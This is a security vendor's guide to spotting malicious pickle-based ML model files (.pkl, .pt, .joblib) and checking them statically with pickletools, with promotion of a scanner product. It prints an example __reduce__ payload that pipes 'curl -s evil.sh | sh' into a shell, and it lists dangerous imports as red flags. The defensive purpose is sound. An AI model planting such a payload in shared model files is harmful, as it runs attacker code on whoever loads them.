PICKLESCAN · GUIDE

How to tell if a .pkl, .pt or .joblib model file is malicious

A pickle-based model file can execute arbitrary code the instant you load it — before your own code runs a single line. Here is why that happens, how to recognise a dangerous file, and how to check one safely without running it.

← Scan a model file now (free, nothing is stored)

Why loading a model can run code

Most Python ML artifacts — scikit-learn joblib dumps, PyTorch .pt/.pth checkpoints, countless .pkl files on Hugging Face — are serialized with Python's pickle. Pickle is not a data format; it is a tiny stack language. Among its opcodes are GLOBAL/STACK_GLOBAL (import any Python object by name) and REDUCE (call it). That combination means a pickle file can say “import os.system and call it with rm -rf” — and it runs during load(), before you ever touch the model.

What a malicious model actually looks like

The classic payload is a __reduce__ that returns a callable and its arguments:

class Evil:
    def __reduce__(self):
        import os
        return (os.system, ("curl -s evil.sh | sh",))
# pickle.dumps(Evil()) -> anyone who loads it runs the command

On disk this leaves fingerprints: a STACK_GLOBAL importing posix.system, subprocess.Popen, builtins.eval, builtins.exec, runpy, or a socket/urllib call, followed by a REDUCE. A legitimate model only imports its framework (numpy, torch, sklearn, …).

How to check a file safely

Never pickle.load, torch.load or joblib.load an untrusted file to inspect it — that is the exploit. Instead, disassemble the opcode stream statically. Python ships the tool:

python -m pickletools suspicious.pkl | grep -i global

Read the GLOBAL/STACK_GLOBAL lines. Anything outside the ML stack — os, posix, subprocess, socket, builtins.eval/exec, runpy, webbrowser — is a red flag. PyTorch and modern joblib files are ZIP containers, so unzip first and disassemble the embedded data.pkl.

That's exactly what the free scanner does for you — memo-aware import resolution, ZIP/PyTorch container handling, and an ML-stack allow-list so real models read clean:

Scan your file with PickleScan (free) →

Scanning a whole repo or CI pipeline

One file in a browser is fine for a spot check. For a model registry, a training pipeline, or a pull-request gate you want a batch scanner with machine-readable output. PickleScan Pro is a zero-dependency CLI + GitHub Action: it scans every artifact in a tree, emits JSON and SARIF (GitHub code-scanning), and returns a non-zero exit code so a dangerous file fails the build.

python picklescan_pro.py ./models --fail-on dangerous --sarif out.sarif
echo $?   # 0 = clean, 2 = dangerous file found
Get PickleScan Pro — one-time $29 →

The safest fix: don't ship pickles

Where you control the format, prefer safetensors for weights (pure tensor data, no code path) or skops for scikit-learn models. But you will still receive third-party .pkl/.pt files — scan those before they touch a machine you care about.